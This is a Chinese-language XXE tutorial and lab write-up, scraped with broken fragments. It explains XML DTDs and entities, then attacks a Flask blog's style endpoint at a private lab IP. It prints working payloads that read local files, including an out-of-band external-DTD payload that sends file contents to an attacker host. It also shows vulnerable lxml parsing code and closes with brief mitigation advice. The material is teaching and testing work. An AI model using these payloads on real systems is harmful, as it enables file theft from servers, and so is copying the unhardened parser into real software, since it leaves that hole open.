<
,>符号对应的实体就是>
)<!-- -->
)<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->
<?xml version="1.0" encoding="utf-8" ?><!--xml声明-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]><!--文档类型定义-->
<note>
<to>xxe</to>
<from>ljpm</from>
<heading>Text</heading>
<body>Only test!</body>
</note><!--文档元素-->
<?xml version="1.0" encoding="utf-8" ?><!--xml声明-->
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>xxe</to>
<from>ljpm</from>
<heading>Text</heading>
<body>Only test!</body>
</note><!--文档元素-->
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<?xml version="1.0" encoding="utf-8" ?><!--xml声明-->
<!DOCTYPE note[
<!ELEMENT note (name,pwd)>
<!ENTITY name "admin">
<!ENTITY pwd "admin">
]>
<note>
<name>&name;</name>
<pwd>&pwd;</pwd>
</note><!--文档元素-->
<?xml version="1.0" encoding="utf-8" ?><!--xml声明-->
<!DOCTYPE note[
<!ENTITY user SYSTEM "test.xml">
]>
<note>&user;</note><!--文档元素-->
test.xml
<?xml version="1.0" encoding="utf-8" ?><!--xml声明-->
<!DOCTYPE note [
<!ENTITY % user "admin">
<!ENTITY % pwd "admin">
<!ENTITY % ljpm SYSTEM "./dddd.dtd">
%ljpm;
]>
<note>&people;</note><!--文档元素-->
dddd.dtd
<!ENTITY people "%user;%pwd;">
%name
(参数实体)是在DTD中被引用的,而&name;
是在xml文档中被引用的。http://192.168.153.128:5000/create-post
url下有一个类似于博客的提交框,可能存在存储性的xsshttp://192.168.153.128:5000/customize
我们可以为上面我们创建的帖子添加样式:* {
font-size: 51px;
color: red;
}
51px;
为什么不是50px;
我也不知道QAQ。Content-Type: application/json
。Content-Type: application/xml
,看看接不接受xml。flag.txt
文件(环境没有添加flag.txt
),最后的payload:<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///app/flag.txt">
]>
<root>
<color>&file;</color>
<size>40px</size>
</root>
dtd
文件,因此payload如下:<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///flag.txt">
<!ENTITY % xxe SYSTEM "http://ip/payload.dtd">
%xxe;
]>
<root>
<color>&send;</color>
<size>40px</size>
</root>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>"> %all;
elif request.content_type == "application/xml" or request.content_type == "text/xml":
print(request.data)
parser = etree.XMLParser()
k = etree.fromstring(request.data, parser)
post_color = ""
post_size = ""
w = ""
for i in k.getchildren():
if i.tag == "color":
post_color = i.text
elif i.tag == "size":
post_size = i.text
if db.session.query(settings_map).filter_by(username=session['username']).first():
db.session.query(settings_map).filter_by(username=session['username']).update({"size": post_size, "color": post_color})
db.session.commit()
return "DONE :D"
else:
engine.execute(settings_table.insert(), username=session['username'], color=post_color, size=post_size)
return "DONE :D"
XML parser
只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/154170.html